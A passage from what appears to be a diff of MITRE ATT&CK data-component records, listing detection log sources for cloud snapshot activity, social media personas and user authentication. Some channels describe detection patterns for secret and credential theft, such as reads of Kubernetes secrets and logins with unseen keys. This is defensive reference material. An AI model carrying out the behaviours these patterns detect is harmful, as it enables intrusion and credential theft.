using OSQuery\u2019s `processes` or `system_info` tables: `SELECT * FROM systemd_units WHERE state != 'running';`\n - macOS Launch Daemon/Agent Modification\n - Monitor for changes in:\n - `/Library/LaunchDaemons/`\n - `/Library/LaunchAgents/`\n - Track modifications to `.plist` files indicating persistence attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:Microsoft-IIS-Configuration", + "channel": "Module or ISAPI filter registration events" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7040" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0065\", \"external_id\": \"DC0065\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Microsoft-IIS-Configuration\", \"channel\": \"Module or ISAPI filter registration events\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7040\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.211000+00:00\", \"old_value\": \"2025-04-18 15:10:57.700000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:39.640000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0057", + "external_id": "DC0057" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot Creation", + "description": "The process of taking a point-in-time copy of a cloud storage volume (files, settings, configurations, etc.), virtual machine (VM), or database that can be created and deployed in cloud environments.\n\n*Data Collection Measures:*\n\n- Cloud Platform Logs (IaaS)\n - AWS CloudTrail Logs: Monitor API calls related to snapshot creation (`CreateSnapshot`).\n - Azure Monitor Logs: Track snapshot creation (`Microsoft.Compute/snapshots/write`).\n - Google Cloud Logging: Detect `compute.disks.createSnapshot`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "esxi:vmkernel", + "channel": "snapshot create/write events" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateSnapshot" + }, + { + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/SNAPSHOTS/WRITE" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0057\", \"external_id\": \"DC0057\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"esxi:vmkernel\", \"channel\": \"snapshot create/write events\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateSnapshot\"}, {\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.COMPUTE/SNAPSHOTS/WRITE\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.640000+00:00\", \"old_value\": \"2025-04-18 15:15:08.504000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:39.893000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0049", + "external_id": "DC0049" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot Deletion", + "description": "The removal of a point-in-time backup of a cloud storage volume, virtual machine (VM), or database.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail\n - Logs `DeleteSnapshot` API calls in EC2, RDS, and EBS services.\n- Azure Monitor Logs\n - Tracks snapshot deletions via `Microsoft.Compute/snapshots/delete` API calls.\n- Google Cloud Logging\n - Detects snapshot removal through `compute.disks.deleteSnapshot` events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "DeleteSnapshot" + }, + { + "name": "esxi:hostd", + "channel": "snapshot.removeall or snapshot file deletion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0049\", \"external_id\": \"DC0049\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"DeleteSnapshot\"}, {\"name\": \"esxi:hostd\", \"channel\": \"snapshot.removeall or snapshot file deletion\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.893000+00:00\", \"old_value\": \"2025-04-18 15:15:05.200000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ffd73905-2e51-4f2d-8549-e72fb0eb6c38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0047", + "external_id": "DC0047" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot Enumeration", + "description": "The process of listing or retrieving metadata about existing snapshots in a cloud environment.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail\n - Logs API calls such as `DescribeSnapshots`, `ListSnapshots`, and `GetSnapshotAttributes`.\n- Azure Monitor Logs\n - Tracks snapshot enumeration via `Microsoft.Compute/snapshots/read`.\n- Google Cloud Logging\n - Detects snapshot listing through `compute.disks.listSnapshots`.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0047\", \"external_id\": \"DC0047\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:15:18.124000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:40.482000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0062", + "external_id": "DC0062" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot Metadata", + "description": "Contextual data about a snapshot, which may include information such as ID, type, and status", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "DescribeSnapshots" + }, + { + "name": "gcp:audit", + "channel": "compute.disks.insert with sourceSnapshot parameter" + }, + { + "name": "AWS:CloudTrail", + "channel": "CopySnapshot" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0062\", \"external_id\": \"DC0062\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeSnapshots\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.disks.insert with sourceSnapshot parameter\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CopySnapshot\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.482000+00:00\", \"old_value\": \"2025-04-25 14:49:42.387000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:39.957000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0058", + "external_id": "DC0058" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot Modification", + "description": "Changes made to a cloud snapshot's metadata, attributes, or control settings. These modifications may involve adjusting access permissions, changing retention policies, or altering encryption settings. \n\n*Data Collection Measures:*\n\n- AWS CloudTrail\n - Tracks API calls such as `ModifySnapshotAttribute`, `ResetSnapshotAttribute`, and `ModifySnapshotTier`.\n- Azure Monitor Logs\n - Logs changes via `Microsoft.Compute/snapshots/write`.\n- Google Cloud Logging\n - Captures modifications through `compute.snapshots.setIamPolicy` and `compute.snapshots.patch`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "ModifySnapshotAttribute" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0058\", \"external_id\": \"DC0058\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"ModifySnapshotAttribute\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.957000+00:00\", \"old_value\": \"2025-04-18 15:15:11.682000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0052", + "external_id": "DC0052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Social Media", + "description": "Established, compromised, or otherwise acquired by adversaries to conduct reconnaissance, influence operations, social engineering, or other cyber threats.\n\n*Data Collection Measures:*\n\n- API Monitoring\t\n - Social media APIs (e.g., Twitter API, Facebook Graph API) can extract behavioral patterns of accounts.\n- Web Scraping\n - Extracts public profile data, friend lists, or interactions to identify impersonation attempts.\n- Threat Intelligence Feeds\t\n - External feeds track malicious personas linked to disinformation campaigns or phishing.\n- OSINT Tools\n - Maltego, SpiderFoot, and OpenCTI can map social media persona relationships.\n- Endpoint Detection\t\n - EDR logs user behavior and alerts on suspicious social media interactions.\n- SIEM Logging\n - Detects access to known phishing pages or social media abuse via proxy logs.\n- Dark Web Monitoring\t\n - Identifies compromised social media credentials being sold.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Persona", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0052\", \"external_id\": \"DC0052\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Persona\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:16:50.453000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:34.948000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0002", + "external_id": "DC0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Authentication", + "description": "An attempt (successful and failed login attempts) by a user, service, or application to gain access to a network, system, or cloud-based resource. This typically involves credentials such as passwords, tokens, multi-factor authentication (MFA), or biometric validation.\n\n*Data Collection Measures:*\n\n- Host-Based Authentication Logs\n - Windows Event Logs\n - Event ID 4776 \u2013 NTLM authentication attempt.\n - Event ID 4624 \u2013 Successful user logon.\n - Event ID 4625 \u2013 Failed authentication attempt.\n - Event ID 4648 \u2013 Explicit logon with alternate credentials.\n - Linux/macOS Authentication Logs\n - `/var/log/auth.log`, `/var/log/secure` \u2013 Logs SSH, sudo, and other authentication attempts.\n - AuditD \u2013 Tracks authentication events via PAM modules.\n - macOS Unified Logs \u2013 `/var/db/diagnostics` captures authentication failures.\n- Cloud Authentication Logs\n - Azure AD Logs\n - Sign-in Logs \u2013 Tracks authentication attempts, MFA challenges, and conditional access failures.\n - Audit Logs \u2013 Captures authentication-related configuration changes.\n - Microsoft Graph API \u2013 Provides real-time sign-in analytics.\n - Google Workspace & Office 365\n - Google Admin Console \u2013 `User Login Report` tracks login attempts and failures.\n - Office 365 Unified Audit Logs \u2013 Captures logins across Exchange, SharePoint, and Teams.\n - AWS CloudTrail & IAM\n - Tracks authentication via `AWS IAM AuthenticateUser` and `sts:GetSessionToken`.\n - Logs failed authentications to AWS Management Console and API requests.\n- Container Authentication Monitoring\n - Kubernetes Authentication Logs\n - kubectl audit logs \u2013 Captures authentication attempts for service accounts and admin users.\n - Azure Kubernetes Service (AKS) and Google Kubernetes Engine (GKE) \u2013 Logs IAM authentication events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "User Account", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + }, + { + "name": "saas:okta", + "channel": "session.impersonation.start" + }, + { + "name": "Okta:SystemLog", + "channel": "eventType: user.authentication.sso, app.oauth2.token.grant" + }, + { + "name": "azure:signinlogs", + "channel": "Success logs from high-risk accounts" + }, + { + "name": "networkdevice:syslog", + "channel": "config access, authentication logs" + }, + { + "name": "ESXiLogs:authlog", + "channel": "Unexpected login followed by encoding commands" + }, + { + "name": "saas:okta", + "channel": "Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira" + }, + { + "name": "NSM:Connections", + "channel": "Accepted password or publickey for user from remote IP" + }, + { + "name": "macos:unifiedlog", + "channel": "successful sudo or authentication for account not normally associated with admin actions" + }, + { + "name": "esxi:vpxa", + "channel": "user login from unexpected IP or non-admin user role" + }, + { + "name": "m365:signin", + "channel": "Sign-in from anomalous location or impossible travel condition" + }, + { + "name": "networkdevice:syslog", + "channel": "User privilege escalation to level 15/root prior to destructive commands" + }, + { + "name": "networkdevice:syslog", + "channel": "authorization/accounting logs" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4769,1200,1202" + }, + { + "name": "linux:syslog", + "channel": "sudo/date/timedatectl execution by non-standard users" + }, + { + "name": "saas:audit", + "channel": "Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies." + }, + { + "name": "azure:signinlogs", + "channel": "Multiple MFA challenge requests without successful primary login" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests" + }, + { + "name": "auditd:AUTH", + "channel": "pam_unix or pam_google_authenticator invoked repeatedly within short interval" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4768, 4769, 4770" + }, + { + "name": "NSM:Connections", + "channel": "Repeated failed authentication attempts or replay patterns" + }, + { + "name": "azure:signinlogs", + "channel": "TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events" + }, + { + "name": "azure:signinlogs", + "channel": "SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times" + }, + { + "name": "AWS:CloudTrail", + "channel": "sts:GetFederationToken" + }, + { + "name": "m365:unified", + "channel": "Delegated permission grants without user login event" + }, + { + "name": "saas:salesforce", + "channel": "API login using access_token without login history" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRoleWithWebIdentity" + }, + { + "name": "azure:signinlogs", + "channel": "Operation=UserLogin" + }, + { + "name": "esxi:auth", + "channel": "interactive shell or SSH access preceding storage enumeration" + }, + { + "name": "NSM:Connections", + "channel": "Successful login without expected MFA challenge" + }, + { + "name": "macos:unifiedlog", + "channel": "Login success without MFA step" + }, + { + "name": "kubernetes:apiserver", + "channel": "get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts" + }, + { + "name": "auditd:SYSCALL", + "channel": "pam_authenticate, sshd" + }, + { + "name": "macos:unifiedlog", + "channel": "log show --predicate 'eventMessage contains \"Authentication\"'" + }, + { + "name": "esxi:vpxd", + "channel": "/var/log/vmware/vpxd.log" + }, + { + "name": "azure:signinlogs", + "channel": "Unusual Token Usage or Application Consent" + }, + { + "name": "networkdevice:syslog", + "channel": "Failed and successful logins to network devices outside approved admin IP ranges" + }, + { + "name": "azure:signinlogs", + "channel": "OperationName=SetDomainAuthentication OR Set-FederatedDomain" + }, + { + "name": "network:auth", + "channel": "repeated successful authentications with previously unknown accounts or anomalous password acceptance" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in with unfamiliar location/device + portal navigation" + }, + { + "name": "m365:signinlogs", + "channel": "UserLoginSuccess" + }, + { + "name": "saas:salesforce", + "channel": "Login" + }, + { + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive format command" + }, + { + "name": "networkdevice:syslog", + "channel": "admin login events" + }, + { + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive command sequence" + }, + { + "name": "azure:signinlogs", + "channel": "Login from newly created account" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of ssh, scp, or sftp using previously unseen credentials or keys" + }, + { + "name": "m365:unified", + "channel": "login using refresh_token with no preceding authentication context" + }, + { + "name": "saas:googleworkspace", + "channel": "API access without user login" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4769" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4625" + }, + { + "name": "azure:signinlogs", + "channel": "Interactive/Non-Interactive Sign-In" + }, + { + "name": "AWS:CloudTrail", + "channel": "AWS IAM: ListUsers, ListRoles" + }, + { + "name": "gcp:workspaceaudit", + "channel": "Token Generation via Domain Delegation" + }, + { + "name": "m365:signinlogs", + "channel": "Unusual sign-in from service principal to user mailbox" + }, + { + "name": "macos:unifiedlog", + "channel": "User credential prompt events without associated trusted installer package" + }, + { + "name": "linux:auth", + "channel": "sshd login" + }, + { + "name": "saas:googleworkspace", + "channel": "Accessed third-party credential management service" + }, + { + "name": "azure:signinlogs", + "channel": "Reset password or download key from portal" + }, + { + "name": "linux:syslog", + "channel": "SSH failed login" + }, + { + "name": "macos:unifiedlog", + "channel": "Login failure / authorization denied" + }, + { + "name": "azure:signinlogs", + "channel": "status = failure" + }, + { + "name": "Okta:authn", + "channel": "authentication_failure" + }, + { + "name": "saas-app:auth", + "channel": "login_failure" + }, + { + "name": "networkdevice:syslog", + "channel": "AAA, RADIUS, or TACACS authentication" + }, + { + "name": "kubernetes:apiserver", + "channel": "authentication.k8s.io/v1beta1" + }, + { + "name": "m365:exchange", + "channel": "Logon failure" + }, + { + "name": "AWS:CloudTrail", + "channel": "eventName=ConsoleLogin | eventType=AwsConsoleSignIn" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4624" + }, + { + "name": "auditd:USER_LOGIN", + "channel": "USER_AUTH" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in logs" + }, + { + "name": "macos:unifiedlog", + "channel": "auth" + }, + { + "name": "m365:unified", + "channel": "Sign-in logs" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin or AssumeRole" + }, + { + "name": "esxi:auth", + "channel": "/var/log/auth.log" + }, + { + "name": "networkdevice:syslog", + "channel": "authentication logs" + }, + { + "name": "azure:signinlogs", + "channel": "SigninSuccess" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4771, 4648" + }, + { + "name": "linux:syslog", + "channel": "Failed password for invalid user" + }, + { + "name": "macos:unifiedlog", + "channel": "Login Window and Authd errors" + }, + { + "name": "azure:signinlogs", + "channel": "Failure Reason + UserPrincipalName" + }, + { + "name": "saas:okta", + "channel": "authentication_failure" + }, + { + "name": "networkdevice:syslog", + "channel": "AAA or TACACS authentication failures" + }, + { + "name": "kubernetes:audit", + "channel": "Failed login" + }, + { + "name": "m365:exchange", + "channel": "FailedLogin" + }, + { + "name": "saas:auth", + "channel": "signin_failed" + }, + { + "name": "saas:googleworkspace", + "channel": "login with reused session token and mismatched user agent or IP" + }, + { + "name": "saas:googleworkspace", + "channel": "Access via OAuth credentials with unusual scopes or from anomalous IPs" + }, + { + "name": "networkdevice:syslog", + "channel": "authentication & authorization" + }, + { + "name": "WinEventLog:Security", + "channel": "4624, 4625" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in activity" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser" + }, + { + "name": "gcp:audit", + "channel": "drive.activity" + }, + { + "name": "gcp:audit", + "channel": "login.event" + }, + { + "name": "linux:syslog", + "channel": "sshd[pid]: Failed password" + }, + { + "name": "macos:unifiedlog", + "channel": "authd" + }, + { + "name": "networkdevice:syslog", + "channel": "login failed" + }, + { + "name": "GCPAuditLogs:login.googleapis.com", + "channel": "Failed sign-in events" + }, + { + "name": "esxi:auth", + "channel": "SSH session/login" + }, + { + "name": "WinEventLog:Security", + "channel": "EventID=4625" + }, + { + "name": "NSM:Connections", + "channel": "sshd or PAM logins" + }, + { + "name": "saas:okta", + "channel": "Sign-in logs / audit events" + }, + { + "name": "gcp:audit", + "channel": "Sign-in logs / audit events" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in logs / audit events" + }, + { + "name": "kubernetes:audit", + "channel": "authentication.k8s.io" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4648" + }, + { + "name": "linux:syslog", + "channel": "authentication and authorization events during environmental validation phase" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0002\", \"external_id\": \"DC0002\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"User Account\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625\"}, {\"name\": \"saas:okta\", \"channel\": \"session.impersonation.start\"}, {\"name\": \"Okta:SystemLog\", \"channel\": \"eventType: user.authentication.sso, app.oauth2.token.grant\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Success logs from high-risk accounts\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config access, authentication logs\"}, {\"name\": \"ESXiLogs:authlog\", \"channel\": \"Unexpected login followed by encoding commands\"}, {\"name\": \"saas:okta\", \"channel\": \"Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Accepted password or publickey for user from remote IP\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"successful sudo or authentication for account not normally associated with admin actions\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"user login from unexpected IP or non-admin user role\"}, {\"name\": \"m365:signin\", \"channel\": \"Sign-in from anomalous location or impossible travel condition\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"User privilege escalation to level 15/root prior to destructive commands\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authorization/accounting logs\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4769,1200,1202\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo/date/timedatectl execution by non-standard users\"}, {\"name\": \"saas:audit\", \"channel\": \"Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Multiple MFA challenge requests without successful primary login\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests\"}, {\"name\": \"auditd:AUTH\", \"channel\": \"pam_unix or pam_google_authenticator invoked repeatedly within short interval\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4768, 4769, 4770\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Repeated failed authentication attempts or replay patterns\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events\"}, {\"name\": 